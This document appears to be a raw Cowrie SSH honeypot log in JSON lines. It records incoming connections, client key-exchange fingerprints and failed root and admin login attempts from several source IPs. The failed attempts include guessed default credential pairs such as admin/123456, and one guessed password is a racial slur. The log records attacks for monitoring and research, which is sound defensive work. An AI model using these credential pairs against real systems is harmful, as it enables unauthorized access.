{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:05:54.822230Z","src_ip":"171.231.180.86","session":"b4a36656de63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin01","message":"login attempt [admin/admin01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:05:55.716065Z","src_ip":"171.231.180.86","session":"b4a36656de63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:05:56.970524Z","src_ip":"171.231.180.86","session":"b4a36656de63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":36714,"dst_ip":"159.203.135.109","dst_port":22,"session":"5da188a26164","protocol":"ssh","message":"New connection: 139.19.117.129:36714 (159.203.135.109:22) [session: 5da188a26164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:06:36.937838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:06:36.943181Z","src_ip":"139.19.117.129","session":"5da188a26164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:06:37.036744Z","src_ip":"139.19.117.129","session":"5da188a26164","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:f4:28:10:b0:5b:9a:3e:fc:8d:08:f8:6d:21:90:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa6AGNB9JlprameL4owv03Gnrf9iKoeaytF+cW0QFILXNM7tg8B8FTLk94pQVqrRMPy6/Bu7RKEKssoV5bNzxpQ1hnSF+plOGIV2fe78WwLyz2KjGeLPltUMaTSqtckvmGXQwKek310ZqMlNEVpsYl5yK14AGKArj2chHdsltxsQV/4du4X0PK6OHUPiIm3hNBq0K+A6eA2zinUl5FOGcMxG+X8kc0CtRsiLl0lXjrayYJGmU+U9afU0SHNdzoh/QhNA4vmIvkwcTiC9BkuyXi8Mkfv2wtm8FVjyqmMqpw7wgSrbjOTPDzgz5YoVHSyYS3z/UGFTgh0gtBvCQ4yx57TabXIbQBK2K0EOXBnEMz6eZSd8zgA2lqlsj5grMM8ny1HBH4XEb++W6TdsLmFFvSx+G/WhtJrClXtUqZPp5PbXa8xKFMh5/Jhc/aggNelI3CrBAu7QCI4hJhxTRZ0JCGnOATqgnNkSnK71sfvHLAQdJoWGB2FKtRMzeDSIzgdXM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:f4:28:10:b0:5b:9a:3e:fc:8d:08:f8:6d:21:90:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:06:37.229180Z","src_ip":"139.19.117.129","session":"5da188a26164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:f4:28:10:b0:5b:9a:3e:fc:8d:08:f8:6d:21:90:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa6AGNB9JlprameL4owv03Gnrf9iKoeaytF+cW0QFILXNM7tg8B8FTLk94pQVqrRMPy6/Bu7RKEKssoV5bNzxpQ1hnSF+plOGIV2fe78WwLyz2KjGeLPltUMaTSqtckvmGXQwKek310ZqMlNEVpsYl5yK14AGKArj2chHdsltxsQV/4du4X0PK6OHUPiIm3hNBq0K+A6eA2zinUl5FOGcMxG+X8kc0CtRsiLl0lXjrayYJGmU+U9afU0SHNdzoh/QhNA4vmIvkwcTiC9BkuyXi8Mkfv2wtm8FVjyqmMqpw7wgSrbjOTPDzgz5YoVHSyYS3z/UGFTgh0gtBvCQ4yx57TabXIbQBK2K0EOXBnEMz6eZSd8zgA2lqlsj5grMM8ny1HBH4XEb++W6TdsLmFFvSx+G/WhtJrClXtUqZPp5PbXa8xKFMh5/Jhc/aggNelI3CrBAu7QCI4hJhxTRZ0JCGnOATqgnNkSnK71sfvHLAQdJoWGB2FKtRMzeDSIzgdXM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:06:37.233219Z","src_ip":"139.19.117.129","session":"5da188a26164","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:f4:28:10:b0:5b:9a:3e:fc:8d:08:f8:6d:21:90:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa6AGNB9JlprameL4owv03Gnrf9iKoeaytF+cW0QFILXNM7tg8B8FTLk94pQVqrRMPy6/Bu7RKEKssoV5bNzxpQ1hnSF+plOGIV2fe78WwLyz2KjGeLPltUMaTSqtckvmGXQwKek310ZqMlNEVpsYl5yK14AGKArj2chHdsltxsQV/4du4X0PK6OHUPiIm3hNBq0K+A6eA2zinUl5FOGcMxG+X8kc0CtRsiLl0lXjrayYJGmU+U9afU0SHNdzoh/QhNA4vmIvkwcTiC9BkuyXi8Mkfv2wtm8FVjyqmMqpw7wgSrbjOTPDzgz5YoVHSyYS3z/UGFTgh0gtBvCQ4yx57TabXIbQBK2K0EOXBnEMz6eZSd8zgA2lqlsj5grMM8ny1HBH4XEb++W6TdsLmFFvSx+G/WhtJrClXtUqZPp5PbXa8xKFMh5/Jhc/aggNelI3CrBAu7QCI4hJhxTRZ0JCGnOATqgnNkSnK71sfvHLAQdJoWGB2FKtRMzeDSIzgdXM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:f4:28:10:b0:5b:9a:3e:fc:8d:08:f8:6d:21:90:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:06:37.328746Z","src_ip":"139.19.117.129","session":"5da188a26164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:f4:28:10:b0:5b:9a:3e:fc:8d:08:f8:6d:21:90:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa6AGNB9JlprameL4owv03Gnrf9iKoeaytF+cW0QFILXNM7tg8B8FTLk94pQVqrRMPy6/Bu7RKEKssoV5bNzxpQ1hnSF+plOGIV2fe78WwLyz2KjGeLPltUMaTSqtckvmGXQwKek310ZqMlNEVpsYl5yK14AGKArj2chHdsltxsQV/4du4X0PK6OHUPiIm3hNBq0K+A6eA2zinUl5FOGcMxG+X8kc0CtRsiLl0lXjrayYJGmU+U9afU0SHNdzoh/QhNA4vmIvkwcTiC9BkuyXi8Mkfv2wtm8FVjyqmMqpw7wgSrbjOTPDzgz5YoVHSyYS3z/UGFTgh0gtBvCQ4yx57TabXIbQBK2K0EOXBnEMz6eZSd8zgA2lqlsj5grMM8ny1HBH4XEb++W6TdsLmFFvSx+G/WhtJrClXtUqZPp5PbXa8xKFMh5/Jhc/aggNelI3CrBAu7QCI4hJhxTRZ0JCGnOATqgnNkSnK71sfvHLAQdJoWGB2FKtRMzeDSIzgdXM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:06:37.332067Z","src_ip":"139.19.117.129","session":"5da188a26164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:06:46.937610Z","src_ip":"139.19.117.129","session":"5da188a26164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.180.86","src_port":60292,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d7a687dcc5b","protocol":"ssh","message":"New connection: 171.231.180.86:60292 (10.17.0.5:22) [session: 5d7a687dcc5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:08:13.543261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:08:13.553858Z","src_ip":"171.231.180.86","session":"5d7a687dcc5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:08:13.785058Z","src_ip":"171.231.180.86","session":"5d7a687dcc5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:08:14.942952Z","src_ip":"171.231.180.86","session":"5d7a687dcc5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:08:16.189401Z","src_ip":"171.231.180.86","session":"5d7a687dcc5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.243.151.30","src_port":55038,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbdc405a8427","protocol":"ssh","message":"New connection: 171.243.151.30:55038 (10.17.0.5:22) [session: dbdc405a8427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:09:35.944694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:09:36.272708Z","src_ip":"171.243.151.30","session":"dbdc405a8427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:09:36.298496Z","src_ip":"171.243.151.30","session":"dbdc405a8427","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin123","message":"login attempt [admin/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:09:37.285082Z","src_ip":"171.243.151.30","session":"dbdc405a8427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:09:38.517808Z","src_ip":"171.243.151.30","session":"dbdc405a8427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":10072,"dst_ip":"10.17.0.5","dst_port":22,"session":"830ee6e1f7a8","protocol":"ssh","message":"New connection: 2.57.121.25:10072 (10.17.0.5:22) [session: 830ee6e1f7a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:09:56.906748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:09:56.910486Z","src_ip":"2.57.121.25","session":"830ee6e1f7a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:09:57.010754Z","src_ip":"2.57.121.25","session":"830ee6e1f7a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"origin","message":"login attempt [user/origin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:09:57.673001Z","src_ip":"2.57.121.25","session":"830ee6e1f7a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"omicron","message":"login attempt [user/omicron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:09:58.776744Z","src_ip":"2.57.121.25","session":"830ee6e1f7a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"oioioi","message":"login attempt [user/oioioi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:09:59.882870Z","src_ip":"2.57.121.25","session":"830ee6e1f7a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"niggaz","message":"login attempt [user/niggaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:10:00.987112Z","src_ip":"2.57.121.25","session":"830ee6e1f7a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"nigeria","message":"login attempt [user/nigeria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:10:02.092719Z","src_ip":"2.57.121.25","session":"830ee6e1f7a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T13:10:03.198531Z","src_ip":"2.57.121.25","session":"830ee6e1f7a8","protocol":"ssh"}
